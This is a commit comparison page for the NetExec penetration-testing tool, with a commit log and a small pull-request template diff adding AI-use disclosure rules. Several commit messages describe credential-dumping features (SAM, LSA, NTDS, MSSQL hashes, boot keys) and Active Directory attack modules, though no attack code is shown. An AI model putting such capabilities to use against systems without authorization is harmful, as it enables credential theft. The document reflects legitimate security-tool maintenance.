Compare commits

...
Author SHA1 Message Date
mpgn 468f5923ed wmi: tell the user when a step hits --exec-timeout or the cleanup fails, and drop a dead stub 2026-11-02 18:02:10 +01:00
mpgn 7def180f59 wmi: raise on a refused Win32_Process.Create, catch exec errors in wmi.py, honour --exec-timeout for every step 2026-10-27 23:01:01 +01:00
mpgn c14cab226e wmi: check Win32_Process.Create's return value and let --exec-timeout raise the encode/store waits 2026-10-24 21:19:09 +02:00
mpgn 68e1ad2031 wmi: wait for the remote process instead of fixed sleeps in -x / -X
wmi -x/-X: run the command, then poll Win32_Process by PID (and its
children) until it exits, bounded by --exec-timeout, instead of fixed
sleeps. certutil and reg add run as one chained process.
2026-10-17 19:27:46 +02:00
Alex 8a502536d5 Merge pull request #1477 from 0xdf223/fix/dc-detect-no-null-session
Treat missing null session as inconclusive in SMB DC detection
2026-10-17 10:43:08 -04:00
oxdfandClaude Opus 5.5 35a02b4059 Treat missing null session as inconclusive in SMB DC detection
_is_dc_via_smb() assumed a DC with NTLM enabled always accepts a null
session, so it returned False when the null bind failed. Server 2025 DCs
refuse anonymous SMB sessions by default, so they were marked as not a DC
and the RPC/Kerberos probes never ran. This broke --generate-krb5-file and
--generate-hosts-file against those DCs.

Return None instead so the remaining probes decide.

Co-Authored-By: Claude Opus 5.5 <[email protected]>
2026-10-17 08:26:47 -04:00
Alex 98a4679a23 Merge pull request #1475 from Pennyw0rth/neff-improve-loadtime 2026-10-16 13:38:23 -04:00
mpgn 9ddb09a0bc Merge pull request #1277 from azoxlpf/feat/add-schannel
add Schannel certificate authentication via --schannel
2026-10-16 19:17:32 +02:00
Alexander Neff a5e9d4a4e5 Move CCache import as well 2026-10-16 17:48:43 +02:00
Alexander Neff 7b98eccef5 Ruff 2026-10-16 17:30:21 +02:00
Alexander Neff a1036a1677 Load heavy imports conditionally 2026-10-16 17:28:27 +02:00
Alex 901d53ade4 Merge pull request #1473 from azoxlpf/fix/rdp-os-detection
Resolve RDP server OS from the NTLM build number
2026-10-16 11:26:09 -04:00
Alexander Neff 396e34fe82 Remove unused import 2026-10-16 17:22:48 +02:00
Alexander Neff b09311a9df Move dcom logic from connection to helpers 2026-10-16 17:22:14 +02:00
azoxlpf 62fc9a6ffa Fall back to the raw 10.0 version for builds missing from WIN_VERSIONS 2026-10-16 12:05:48 +02:00
azoxlpf aaaa369156 Resolve RDP server OS from the NTLM build number 2026-10-16 11:26:14 +02:00
azoxlpf 57daa0baeb add the e2e test certificate for the Schannel commands 2026-10-16 10:01:55 +02:00
azoxlpf 7eb995f6cb skip the database entry for certificate binds, move the --schannel argument check to netexec.py 2026-10-16 09:17:22 +02:00
azoxlpf bf32ced7d7 Add e2e commands 2026-10-15 22:07:28 +02:00
azoxlpf 59c451d36f resolve the Schannel account domain from whoami 2026-10-15 17:25:36 +02:00
mpgn 735ccc3db2 bump also poetry.lock 2026-10-15 16:01:00 +02:00
azoxlpf bcf045a882 use impacket LDAP whoami instead of a hand-rolled extended request 2026-10-15 15:37:03 +02:00
azoxlpf f51dd4f4df Merge branch 'main' into feat/add-schannel 2026-10-15 15:25:12 +02:00
mpgn 89a698d93d Merge pull request #1468 from Pennyw0rth/certipy-nxc 2026-10-14 20:12:24 +02:00
mpgn 6c312cd791 deps: declare certipy-nxc exclude-newer override in pyproject so CI keeps the lockfile 2026-10-14 18:21:15 +02:00
mpgn 0602ef4367 deps: replace certipy-ad git fork with certipy-nxc from PyPI
The Pennyw0rth/Certipy fork, synced with ly4k/Certipy main (incl. #348), is now published on PyPI as certipy-nxc 5.1.0.post1. The fork keeps Python 3.11 support and allows impacket 0.14.0.dev. uv.lock overrides exclude-newer for certipy-nxc so it can be locked right after publishing. Fixes pip/pipx installs, which failed after the fork was renamed.

Tested certipy-find against an AD CS lab on Python 3.11 and 3.13.
2026-10-14 18:18:46 +02:00
Alex 28e585121f Merge pull request #1462 from Pennyw0rth/neff-improve-mssql-output 2026-10-12 00:21:42 +02:00
Alexander Neff f7835c3ba7 Add simple visual separater 2026-10-11 18:14:03 -04:00
mpgn a419bd58e3 Merge pull request #1329 from Adamkadaban/rdp-exec-reliability-final
[Draft] Fix RDP command execution reliability
2026-10-11 18:22:53 +02:00
mpgn 893ff6f1ff fix(rdp): non-NLA fallback for auth_only exec check + builtin TimeoutError; warn on -X too 2026-10-11 18:12:10 +02:00
mpgn 1d8296c67c fix ruff 2026-10-11 17:39:04 +02:00
mpgn ca96761290 Merge remote-tracking branch 'upstream/main' into rdp-exec-reliability-final
# Conflicts:
#	nxc/protocols/rdp.py
2026-10-11 16:29:31 +02:00
mpgn e9fd573953 Merge pull request #1348 from azoxlpf/fix/rdp-pwned-gui-access
Only mark RDP hosts Pwn3d when a real session actually opens
2026-10-11 16:07:45 +02:00
mpgn 93afe3e049 fix ruff 2026-10-11 16:06:29 +02:00
mpgn f5d2c8803f bump aardwolf 2026-10-11 15:58:12 +02:00
mpgn 90f2d9c165 Merge branch 'main' into fix/rdp-pwned-gui-access 2026-10-11 15:54:34 +02:00
mpgn 9ec65be0c8 Merge pull request #1379 from Pennyw0rth/wmi_dump
[WMI] Add SAM, LSA and NTDS dump
2026-10-11 10:40:12 +02:00
mpgn c6665867bf Merge pull request #1461 from Pennyw0rth/raisechild 2026-10-11 09:47:19 +02:00
mpgn 43c569aa8d update lock files 2026-10-10 23:06:41 +02:00
mpgn f8b53ae8ba update lock files 2026-10-10 22:40:08 +02:00
mpgn f0c40cd85d fix raisechild module 2026-10-10 22:39:57 +02:00
Alex 306bf295dc Merge pull request #1453 from BepuSun/fix_rclone 2026-10-05 00:15:43 +02:00
BepuSun 0c21bf9bcd Ketp AES.block_size in rclone.py
Signed-off-by: BepuSun <[email protected]>
2026-10-04 23:36:29 +02:00
BepuSun ec6d41f10e fix rclone padding and library 2026-10-04 15:19:41 -04:00
BepuSun 7135d89d92 fix rclone padding and library 2026-10-04 15:03:26 -04:00
Alex 94048441cb Merge pull request #1450 from Pennyw0rth/neff-remove-py3.10
Remove Python 3.10
2026-10-03 01:42:17 +02:00
Alexander Neff 609f03a184 Remove py3.10 2026-10-02 19:11:08 -04:00
Alexander Neff 535f26ddc5 Update lock files 2026-10-02 18:39:13 -04:00
Alexander Neff 8f2fa9689e Ruff fixes 2026-10-02 18:32:47 -04:00
Alexander Neff 9592f690fd Remove py3.10 2026-10-02 18:32:29 -04:00
Alexander Neff 0ded751b31 Wording 2026-10-02 18:20:49 -04:00
Alex 8adf9cbd55 Merge pull request #1448 from snowpeacock/main
feat: switch --ntds vss method to remoteSSWMI
2026-10-03 00:17:08 +02:00
Alexander Neff 7a199c211f Formatting 2026-10-02 18:12:17 -04:00
Alexander Neff ea761c1330 Sanitize filename 2026-10-02 18:12:12 -04:00
Alex d688285c76 Merge branch 'main' into main 2026-10-01 18:47:25 +02:00
zblurx 064374ceb9 Merge branch 'wmi_dump' of github.com:Pennyw0rth/NetExec into wmi_dump 2026-10-01 10:03:29 +02:00
zblurx 07aef24f0f fix error with shadow copy filesize 2026-10-01 10:03:25 +02:00
Alex 3e0e37e8b5 Merge pull request #1444 from Pennyw0rth/fix-path-traversals
Fix all kinds of security issues
2026-09-30 21:04:49 +02:00
snowpeacock b37469c673 feat: switch VSS method to remoteSSWMI 2026-09-30 16:06:01 +02:00
zblurx 59bfc04b7e Merge branch 'main' into wmi_dump 2026-09-30 15:50:29 +02:00
zblurx 641ba4d486 ruff 2026-09-30 15:42:53 +02:00
zblurx 61bec860e9 change logic in wmi read_file 2026-09-30 15:41:53 +02:00
Alex 47025801b1 Merge pull request #1447 from Pennyw0rth/neff-fix-tasklist-kill 2026-09-27 23:37:06 +02:00
Alexander Neff 71c36e9a09 Fix new task format for task killing 2026-09-27 17:23:06 -04:00
Alexander Neff 6555186bce Fix new task format 2026-09-27 17:15:13 -04:00
Alexander Neff bb7afd4a09 Fix lock file 2026-09-27 17:14:59 -04:00
Alex 226a2f4d3e Merge pull request #1446 from Pennyw0rth/neff-improve-PR-template
Enforce AI usage rules
2026-09-27 23:05:03 +02:00
Alexander Neff e056c5a857 Enforce AI usage rules, also trim down a bit 2026-09-27 17:00:11 -04:00
Alexander Neff d8bc2f7dc8 Remove bullshit tests 2026-09-27 16:37:38 -04:00
Alexander Neff 13d00e4b22 Losen filename restrictions to allow curly braces and fix tests 2026-09-27 16:35:38 -04:00
Alexander Neff 910415c897 Losen DNS sanitization to allow weird windows dns names 2026-09-27 16:29:23 -04:00
Alexander Neff 91b0964e75 Prevent path traversal attacks 2026-09-27 16:18:31 -04:00
Alexander Neff 4187fa7bf7 Prevent sql injection 2026-09-27 16:13:37 -04:00
Alex 74c93d147d Merge pull request #1388 from Diogo-Damasceno/fix/ldap-query-non-entry-1349-clean
Fix #1349: skip non-SearchResultEntry objects in LDAP --query
2026-09-27 22:13:25 +02:00
Alexander Neff ba64b23ff5 Add patch by @azoxlpf fixing --query when receiving non-searchresult entries 2026-09-27 16:06:14 -04:00
Alexander Neff 752c43f0c8 Delete tests 2026-09-27 16:01:41 -04:00
Alex 641f99d192 Merge pull request #736 from Fabrizzio53/main
Create tombstone module
2026-09-25 16:24:09 +02:00
Alexander Neff a47d07e005 Preserve remote filename while sanitizing local file name 2026-09-24 17:05:18 -04:00
Alexander Neff 87d34add5f Preserve remote filename while sanitizing local file name 2026-09-24 17:04:50 -04:00
Alexander Neff bde37055bc Sanitize SMB download folder 2026-09-24 16:35:52 -04:00
Alexander Neff 654f3c12d8 Sanitize SMB input 2026-09-24 16:25:00 -04:00
Alexander Neff 31ca909e4e Add tests 2026-09-24 16:19:28 -04:00
Alexander Neff 5e31253313 Sanitize SQL statements 2026-09-24 16:19:11 -04:00
Alexander Neff 150f323e90 Add DNS sanitization 2026-09-24 16:17:08 -04:00
Alexander Neff 736ca36c56 Add AGENTS.md instructions 2026-09-24 14:20:31 -04:00
Alexander Neff 25076be9df Add tests 2026-09-24 13:17:26 -04:00
Alexander Neff 88c4963fc6 Sanitize manual NTLM challenge parsing 2026-09-24 13:17:17 -04:00
Alexander Neff c812041b17 Apply path sanitization 2026-09-23 15:22:05 -04:00
Alexander Neff 23be541d0a Add comments 2026-09-23 15:02:47 -04:00
Alexander Neff a995133e83 Add path sanitizer 2026-09-23 14:57:19 -04:00
Alexander Neff c375b3bb8c Add DNS sanitization function 2026-09-23 14:52:09 -04:00
Alex 4134e689e0 Merge pull request #1387 from Diogo-Damasceno/fix/nxcdb-host-csv-header
Fix #1385: derive nxcdb hosts CSV header from the protocol's HostsTable
2026-09-23 20:27:47 +02:00
Alex 83df61b0bd Merge pull request #1384 from Diogo-Damasceno/fix/ssh-key-type-rejected
ssh: distinguish 'key type rejected by server' from invalid passphrase (issue #1356)
2026-09-23 20:24:56 +02:00
Alexander Neff bd87cc26ee Remove tests file 2026-09-23 14:19:43 -04:00
Alexander Neff 1b3f75b06b Add patch by @azoxlpf fixing nxcdb export headers 2026-09-23 14:18:27 -04:00
Alexander Neff 18a2bfa6de Remove unused import 2026-09-23 14:13:09 -04:00
Alexander Neff ed9fb8b33f Formatting 2026-09-23 14:10:58 -04:00
Alexander Neff fb0fbc197d Merge branch 'main' into fix/ssh-key-type-rejected 2026-09-23 14:10:00 -04:00
Alexander Neff c8394ad1d6 Add patch by @azoxlpf fixing SSH error detection if pass auth is disabled 2026-09-23 14:08:18 -04:00
mpgn 72abb0776e Merge pull request #1441 from abdo210xl/backup-operator-bootkey
Added live boot key extraction to backup_operator
2026-09-23 16:55:58 +02:00
zblurx cd956dd91f ruff 2026-09-23 10:11:42 +02:00
mpgn 27a3a3a796 Merge pull request #1442 from Pennyw0rth/mpgn-patch-1
Update aardwolf dependency version
2026-09-22 23:06:01 +02:00
mpgn ef3d4c8a76 Update aardwolf dependency version
Updated aardwolf dependency version to 0.2.14.

Signed-off-by: mpgn <[email protected]>
2026-09-22 22:56:22 +02:00
Alex 643c9370e5 Merge pull request #1440 from azoxlpf/fix/rdp-legacy-tls-864 2026-09-22 22:15:48 +02:00
Abdelrahman Mohamed 2f1c3e0275 Added live boot key extraction to backup_operator
Signed-off-by: Abdelrahman Mohamed <[email protected]>
2026-09-22 22:39:25 +03:00
azoxlpf 26568e44ab Reach legacy RDP servers by allowing weak TLS ciphers 2026-09-22 21:37:02 +02:00
Alexander Neff b9535e6775 Formatting 2026-09-22 13:10:45 -04:00
Alexander Neff e3d86824ee Improve module description 2026-09-22 13:07:01 -04:00
Alex fdb60ae38e Merge pull request #1258 from Dfte/add_mssql_database_listing
Add --list-backups allowing enumerating databases backups on MSSQL
2026-09-22 17:58:44 +02:00
Alexander Neff a8dec3c6f7 Merge branch 'main' into add_mssql_database_listing 2026-09-22 11:49:03 -04:00
Alexander Neff f1726b0520 Simplify logic 2026-09-22 11:46:09 -04:00
Alexander Neff fc3fb874c0 First review pass simplifying logic 2026-09-22 11:45:41 -04:00
Alexander Neff 9bfa036013 Remove unused import 2026-09-22 11:36:05 -04:00
Alexander Neff 3e0cc700e7 Simplify action selection 2026-09-22 11:35:48 -04:00
Alexander Neff 553224031e Simplify module args 2026-09-22 11:35:11 -04:00
Alexander Neff 421bd670d2 Remove unnecessary init 2026-09-22 11:34:12 -04:00
Alexander Neff 1920b3b515 Sort imports 2026-09-22 11:33:50 -04:00
zblurx f55edf3987 support big files download 2026-09-22 17:07:48 +02:00
Alex af92759b49 Merge pull request #1257 from Dfte/add_hash_dump_mssql
Add local database hash dump for mssql
2026-09-22 15:11:33 +02:00
Alex 3a7bf59909 Merge pull request #1433 from Pennyw0rth/neff-fix-backup-operator 2026-09-20 19:34:24 +02:00
Alex 12ebe0d34b Merge branch 'main' into main 2026-09-20 14:44:25 +02:00
Alexander Neff 818985bdd3 Rename sanitizing function 2026-09-20 08:11:15 -04:00
Alexander Neff e63a43c1f0 Improve DNS check to be compliant with referenced RFCs 2026-09-20 08:04:08 -04:00
Alex b4ce916a03 Merge branch 'main' into fix/sanitize-ntlm-hostname 2026-09-20 13:09:20 +02:00
Alexander Neff 3808655afa Add big timeout for backup-operator module for larger hives 2026-09-20 06:20:05 -04:00
Alex a0a37b7af8 Merge pull request #1429 from termanix/patch-1
Add NTLM Authentication for getKerberosTGT on ResetNightmare Module
2026-09-19 16:39:04 +02:00
termanix 475a8419c7 Merge branch 'patch-1' of https://github.com/termanix/NetExec into patch-1 2026-09-19 15:59:57 +03:00
termanix 76486f14a5 removed double strings from getKerberosTGT 2026-09-19 15:58:16 +03:00
termanix f0e0cc6c84 Merge branch 'main' into patch-1 2026-09-19 15:53:19 +03:00
termanix 03ae02ec01 empty strings fallback to first defined line from getKerberosTGT 2026-09-19 15:52:00 +03:00
termanix 57c5af5fc2 edit e2e 2026-09-19 15:50:13 +03:00
Alex 9eb36e489b Merge pull request #1428 from MRX-72/fix-ssh-timeout-error
SSH: catch TimeoutError during login with a clean fail message
2026-09-19 13:42:04 +02:00
termanix 325cd1c73b removed sys library, sys.exit swapped to return false 2026-09-19 10:55:52 +03:00
termanix efb0f308e9 Comment out shadow-cred and resetnightmare
Signed-off-by: termanix <[email protected]>
2026-09-19 10:51:25 +03:00
termanix 3299d94e92 misleading naming 2026-09-18 17:35:28 +03:00
termanix 4f6ef43aca edit e2e_commands 2026-09-18 15:12:21 +03:00
termanix ff52856d2e Add NT hash usage on example line 2026-09-18 15:10:24 +03:00
termanix 99c65e87b0 Add NTLM Auth for getKerberosTGT 2026-09-18 21:53:31 +03:00
Mrx 60b3a5d3d0 SSH: catch TimeoutError during login with a clean fail message
plaintext_login() only caught AuthenticationException and SSHException
before falling through to the generic Exception handler, which logs via
logger.exception() and dumps a full traceback. A connection timing out
mid-login is routine on a target sweep, not something that needs a stack
trace, and smb.py already treats TimeoutError this way elsewhere in the
codebase.

Fixes #358
2026-09-18 13:45:47 +05:30
mpgn 22840bfc2a Merge pull request #1427 from Pennyw0rth/dpapi_logging_fix_v2
Revert "Revert "[DPAPI] Fix logging origin in dpapi related modules""
2026-09-15 22:10:44 +02:00
mpgn 615a501dff uv lock update with newer correct time 2026-09-15 22:01:07 +02:00
mpgn 5f5aa26a46 Revert "Revert "[DPAPI] Fix logging origin in dpapi related modules""
This reverts commit 11d9151737.
2026-09-15 21:57:34 +02:00
mpgn 85aa3486d8 Merge pull request #1426 from Pennyw0rth/revert-1423-dpapi_logging_fix
Revert "[DPAPI] Fix logging origin in dpapi related modules"
2026-09-15 21:44:20 +02:00
mpgn 11d9151737 Revert "[DPAPI] Fix logging origin in dpapi related modules" 2026-09-15 21:41:48 +02:00
mpgn a43afcee4f Merge pull request #1423 from Pennyw0rth/dpapi_logging_fix
[DPAPI] Fix logging origin in dpapi related modules
2026-09-15 21:41:06 +02:00
zblurx 4fd05318df check filesize and warn user if too big 2026-09-14 17:57:44 +02:00
zblurx e193097969 adapt LSA dump to dpapi upgrade 2026-09-14 16:44:43 +02:00
zblurx 5b83b43486 Merge branch 'main' into wmi_dump
Signed-off-by: zblurx <[email protected]>
2026-09-14 16:26:39 +02:00
Alex d4cdc6c019 Merge pull request #1421 from rtpt-romankarwacik/ldap_signing_except 2026-09-14 13:38:44 +02:00
Roman Karwacik 3746e0d8cc Catch LDAP connection errors while checking for signing 2026-09-14 13:09:30 +02:00
Alexander Neff 852549566c Merge branch 'main' into add_mssql_database_listing 2026-09-13 18:11:15 -04:00
Alexander Neff d5e04789c4 Formatting 2026-09-13 18:10:32 -04:00
Alexander Neff db63325450 Merge branch 'main' into add_hash_dump_mssql 2026-09-13 18:04:21 -04:00
Alexander Neff 0b3f805283 Change negative expression logging message 2026-09-13 17:46:37 -04:00
Alexander Neff a6017269af Fixing wrongfully string decoding 2026-09-13 17:42:00 -04:00
Fabrizzio53 44267c807f Recover the description field of deleted objects
Added new code to recover the description (if active) from deleted objects

Signed-off-by: Fabrizzio53 <[email protected]>
2026-09-11 17:24:46 -03:00
Alexander Neff 0cc365cef2 Formatting 2026-09-09 12:27:16 -04:00
Alexander Neff b328661dd4 Formatting 2026-09-09 11:59:07 -04:00
Alexander Neff 7fd40a391c Formatting 2026-09-09 11:51:41 -04:00
Alexander Neff 467123465a Formatting 2026-09-09 11:48:41 -04:00
Alexander Neff 0de205c95f Fix lock files 2026-09-09 11:45:47 -04:00
zblurx 887941fc50 Merge branch 'main' into wmi_dump
Signed-off-by: zblurx <[email protected]>
2026-09-09 10:47:47 +02:00
zblurx 5e95c3490e revert impacket dep to the original repo 2026-09-09 10:41:47 +02:00
Diogo_Damasceno 59d29c895a Fix #1349: skip non-SearchResultEntry objects in LDAP --query
The `query()` loop iterated the parsed response but indexed the raw
response with `resp[idx]`, bumping `idx` in a way that never skipped the
current iteration. When the LDAP server returned a non-SearchResultEntry
object (e.g. a SearchResultReference), the code crashed with a TypeError
('<' not supported between instances of 'str' and 'int' / object not
subscriptable).

Now we iterate the raw response directly, `continue` on anything that is not
a `SearchResultEntry`, and read `objectName` from the real entry. The
display logic is unchanged for valid entries.

Added tests/test_ldap_query_iteration.py covering the skip behaviour.
Verified on Python 3.14.7.
2026-09-04 08:29:02 -03:00
Diogo_Damasceno ce33ac0f8d Fix #1385: derive nxcdb hosts CSV header from the protocol's HostsTable
The `export hosts` CSV header was hard-coded to the SMB schema
(smbv1/signing/spooler/zerologon/petitpotam), so exporting hosts for any
other protocol (RDP, MSSQL, SSH, LDAP, ...) produced a header that did not
match the row content.

Now the header is derived from the active protocol's HostsTable columns via a
new `host_csv_headers()` helper, as suggested in the issue: default to the
real column names instead of static SMB strings. `simple` keeps the first 8
columns (historical row width); `detailed` returns every column of the table.
No unrelated formatting changes.

Added tests/test_nxcdb_host_export.py covering SMB (no regression) and RDP
(no SMB-only columns leak into the header). Verified on Python 3.14.7.
2026-09-04 08:14:08 -03:00
Diogo_Damasceno 2e96341424 ssh: distinguish 'key type rejected by server' from invalid passphrase (issue #1356)
When an sshd server rejects a public key because its algorithm is not in
PubkeyAcceptedAlgorithms (e.g. server allows only ssh-ed25519 while the
key is RSA), Paramiko raises with a message such as 'Auth rejected:
pubkey algorithm ... unsupported or disabled' or 'Unable to agree on a
pubkey algorithm ...'. These were previously surfaced as the misleading
'Could not decrypt private key, invalid password'.

Add _is_key_type_rejected() and use it in plaintext_login() so the user
gets a clear 'Key type rejected by server (pubkey algorithm not allowed)'
message, while wrong-passphrase and encrypted-key cases keep their
existing behavior.

Add tests/test_ssh_key_type_rejection.py covering the real Paramiko 5.x
rejection messages and asserting the existing cases are not misclassified.
2026-09-03 11:21:25 -03:00
zblurx 78d607b84b fix issue with default shadow_id value 2026-08-27 16:35:55 +02:00
zblurx 34b7a35118 ruff 2026-08-27 13:00:20 +02:00
zblurx 48cc6b0e30 added --use-snapshot-id arg 2026-08-27 12:54:15 +02:00
zblurx 65f4714953 add ntds dump 2026-08-27 12:44:06 +02:00
zblurx 3c52ecb40e create wmi RemoteOperation class 2026-08-27 11:48:08 +02:00
zblurx ee9f59e513 refacto namespace loading 2026-08-27 10:45:24 +02:00
zblurx b6f20e40b9 ruff 2026-08-26 18:04:11 +02:00
zblurx ab4a44cf4d update poetry lock 2026-08-26 18:00:58 +02:00
zblurx 4711814adb add sam and lsa dump 2026-08-26 18:00:09 +02:00
zblurx a819614fc2 add get_file 2026-08-26 17:08:11 +02:00
azoxlpf 14f10c31f8 ignore -u with --schannel and name the auth method in the connect log 2026-08-16 17:56:10 +02:00
Adam Hassan 5b1ee92773 fix(rdp): only warmup .NET runtime when output is needed 2026-08-16 02:12:22 -07:00
Adam Hassan ab7c2d56d3 fix(rdp): prime .NET runtime to eliminate cold-start timeout on Win11 2026-08-16 02:12:22 -07:00
Adam Hassan 5d45303e19 fix(rdp): return None from clipboard timeout, not empty string 2026-08-16 02:12:21 -07:00
Adam Hassan ac6f58149f fix(rdp): use auth_only connect to prevent Win11 clipboard failure 2026-08-16 02:12:21 -07:00
Adam Hassan 78169e8354 fix(rdp): preserve protocol overrides and kerberos logging 2026-08-16 02:12:21 -07:00
Adam Hassan 22db44f380 fix: terminate connection on connect failure to prevent socket leak 2026-08-16 02:12:20 -07:00
Adam Hassan 2aa0601c88 docs: clarify supported_protocols reset 2026-08-16 02:12:20 -07:00
Adam Hassan ae77d482b9 docs: add inline comments for clipboard sync and PS launcher 2026-08-16 02:12:20 -07:00
Adam Hassan 9bba4a1013 fix(rdp): support legacy PowerShell clipboard access 2026-08-16 02:12:20 -07:00
Adam Hassan 5b6647b4d0 fix(rdp): stabilize headless command execution 2026-08-16 02:12:19 -07:00
azoxlpf d950a5cc13 share one certificate loader between PKINIT and Schannel 2026-08-09 17:27:22 +02:00
Azox 163139b115 Merge branch 'main' into feat/add-schannel 2026-08-09 17:02:20 +02:00
azoxlpf 130c668de8 Only mark RDP hosts Pwn3d when a real session actually opens 2026-08-05 22:21:57 +02:00
Azox 7ca004be28 Merge branch 'main' into feat/add-schannel
Signed-off-by: Azox <[email protected]>
2026-07-31 15:23:17 +02:00
azoxlpf 5bd45d2ca6 restore Schannel whoami lookup to display the real mapped user 2026-07-30 17:35:06 +02:00
azoxlpf d97907bff8 fix requested changes 2026-07-30 17:21:10 +02:00
azoxlpf 98ae72fa2c simplify Schannel LDAPConnection call 2026-07-23 09:35:24 +02:00
azoxlpf 6c59c7a11e Merge remote-tracking branch 'origin/main' into feat/add-schannel 2026-07-22 09:47:32 +02:00
azoxlpf f6e85c809e requested changes 2026-07-22 09:37:10 +02:00
Aurélien CHALOT 6b030fce79 typo 2026-07-16 14:03:56 +02:00
Aurélien CHALOT c79f649f9d Add encryption status 2026-07-08 17:43:06 +02:00
Aurélien CHALOT f01876f3f9 Add hash algorithm in the output 2026-07-08 17:22:57 +02:00
Azox 9bd4e8e832 Regenerate poetry.lock after merge with main 2026-06-19 12:32:57 +02:00
Azox c94d00fbc1 resolve conflicts
Signed-off-by: Azox <[email protected]>
2026-06-19 12:18:40 +02:00
Azox 7fcb9b26ae Merge branch 'main' into feat/add-schannel
Signed-off-by: Azox <[email protected]>
2026-06-19 12:14:22 +02:00
azoxlpf 812c63e00b move Schannel auth from schannel_login to plaintext_login 2026-06-18 10:46:18 +02:00
azoxlpf 59c032e4dd Declare cryptography as a direct dependency 2026-06-10 09:51:19 +02:00
azoxlpf e8ad9528f9 add Schannel certificate authentication via --schannel 2026-06-09 09:45:35 +02:00
TristanInSec 09f3f823c6 Address review: make logger required, use .fail() for sanitization warnings 2026-06-06 16:19:38 -04:00
TristanInSec c20060a64a Refactor hostname sanitization into helpers/misc.py
Move the hostname sanitization regex from an inline check in
connection.py into a reusable sanitize_hostname() function in
nxc/helpers/misc.py, and apply it at the source in each protocol's
enum_host_info where hostnames are received from NTLM/server data.

Protocols covered: SMB, WinRM, WMI, MSSQL, RDP.

Addresses review feedback on PR #1243.
2026-06-02 16:49:46 -04:00
Aurélien CHALOT 77f7f19223 Fix e2e 2026-06-02 13:48:03 +02:00
Aurélien CHALOT 262487ba03 Switch --backups to --list-backups 2026-06-02 12:44:12 +02:00
Aurélien CHALOT e2a7b853d7 Remove @requires_admin as it is not 2026-06-02 11:53:10 +02:00
Aurélien CHALOT 50d9103181 Patch futur reviews from Azox 2026-06-02 11:22:34 +02:00
Aurélien CHALOT 7fed03bd6a Patch futur reviews from Azox 2026-06-02 11:20:32 +02:00
Aurélien CHALOT 2c5abef853 Patch futur reviews from Azox 2026-06-02 11:19:42 +02:00
Aurélien CHALOT b96c7899ee Patch futur reviews from Azox 2026-06-02 11:16:56 +02:00
Aurélien CHALOT 7cad502a16 Add --backups 2026-06-01 17:58:09 +02:00
Aurélien CHALOT 3c7497e728 Factorise SQL request 2026-06-01 17:45:04 +02:00
Aurélien CHALOT 412b97af50 Add e2e test commands 2026-06-01 17:42:22 +02:00
Aurélien CHALOT e7304d9ec9 Add local database hash dump --db-hash 2026-06-01 17:39:07 +02:00
Fabrizzio53 f3a90d9aca Refactor tombstone
refactored the code to return empty sAMAccountName when object does not have this attribute.

removed some variables that were not being used, such as opsec, multiple_host and self.__domain.

removed internal domain to dn function to now use connection.baseDN.

the number of deleted objects should be right now, temporary var is created and incremented for each deleted object found.

Signed-off-by: Fabrizzio53 <[email protected]>
2026-05-26 19:27:43 -03:00
TristanInSec d21ee2d6b1 Merge remote-tracking branch 'upstream/main' into fix/sanitize-ntlm-hostname 2026-05-23 15:54:05 -04:00
TristanInSec ccf36b492e Use display() for sanitization notice so it shows at default verbosity 2026-05-23 15:52:44 -04:00
TristanInSec 9c293a8eb9 Warn when NTLM hostname is sanitized
Log a warning showing the original and sanitized hostname so users
are alerted to potential non-compliant implementations or rogue servers.
2026-05-18 14:42:53 -04:00
TristanInSec 68abd128e6 Sanitize NTLM hostname to prevent path traversal and DoS
Strip non-alphanumeric characters (except hyphens and dots) from
server-provided NTLM hostname before use in file paths or content.

Prevents:
- Path traversal via ../ in hostname (file creation outside ~/.nxc/logs/)
- DoS via null byte (ValueError crash in open())
- DoS via { characters (KeyError crash in str.format())
- Newline injection in --generate-hosts-file output
- Affects: SMB, RDP, VNC, WinRM, MSSQL credential dump and screenshot paths
2026-05-16 16:17:22 -04:00
Fabrizzio53 adfd529593 Removed a typo " in the first example
Removed a typo " in the first example

Signed-off-by: Fabrizzio53 <[email protected]>
2026-04-30 08:49:14 -03:00
Fabrizzio53 a8a94671ea fixed issues pointed on the PR
removed imports that were not being used, remove None returns, put the options at the start of the script and improved on indentation

Signed-off-by: Fabrizzio53 <[email protected]>
2026-04-22 18:37:29 -03:00
Fabrizzio53 fea06fe912 fixed ruff checks
fixed ruff checks

Signed-off-by: Fabrizzio53 <[email protected]>
2026-04-15 19:28:08 -03:00
Fabrizzio53 6512a9801e Removed LDAP3 connection, removed old imports, removed SSL action
Removed the LDAP3 connection and now use impacket with the new CRUD method from the latest merged PR, removed the SSL option since now the first connection is handled by netexec and not ldap3

Signed-off-by: Fabrizzio53 <[email protected]>
2026-04-15 19:12:18 -03:00
Fabrizzio53 a29c162d33 Merge branch 'Pennyw0rth:main' into main 2026-04-15 19:10:24 -03:00
Alex 03c2821c11 Merge branch 'main' into main 2025-11-19 12:05:22 +01:00
Fabrizzio53 664055c7c3 Update e2e_commands.txt
Signed-off-by: Fabrizzio53 <[email protected]>
2025-07-13 20:17:12 -03:00
Fabrizzio53 ac55e28fee update tombstone.py to fix when ntlm is disabled
When netexec impacket gets merged with the most up to date version from fortra this fix will work when a domain disabled ntlm

Signed-off-by: Fabrizzio53 <[email protected]>
2025-07-13 20:16:14 -03:00
Fabrizzio53 74c2cd0c89 Renamed gravedigger.py to tombstone.py and changed the name at the script
Signed-off-by: Fabrizzio53 <[email protected]>
2025-07-13 20:16:14 -03:00
Fabrizzio53 5b1cacf566 Create gravedigger.py
Signed-off-by: Fabrizzio53 <[email protected]>
2025-07-13 20:16:14 -03:00
62 changed files with 2276 additions and 833 deletions

No files matched your search

+10 -3
View File
@@ -2,10 +2,16 @@
Please include a summary of the change and which issue is fixed, or what the enhancement does.
List any dependencies that are required for this change.
If you have used AI in any form, please state the tool you used (e.g. Claude Code, Cursor, Amp) along with the extent that the work was AI-assisted. See the project's AI policy for more details: https://github.com/Pennyw0rth/NetExec/blob/main/AI_POLICY.md
### AI Assistance
If you have used AI in any form, please state the tool you used (e.g. Claude Code, Cursor, Amp) along with the extent that the work was AI-assisted.
Note that if you have used AI, you:
- MUST test the changes against a live system
- MUST include a screenshot of such a test (e.g. with a before and after screenshot when submitting a bug fix)
- MUST fill out this PR template by hand, see the project's AI policy: [AI_POLICY.md](https://github.com/Pennyw0rth/NetExec/blob/main/AI_POLICY.md)
## Type of change
Insert an "x" inside the brackets for relevant items (do not delete options)
Insert an "x" inside the brackets for relevant items
- [ ] Bug fix (non-breaking change which fixes an issue)
- [ ] New feature (non-breaking change which adds functionality)
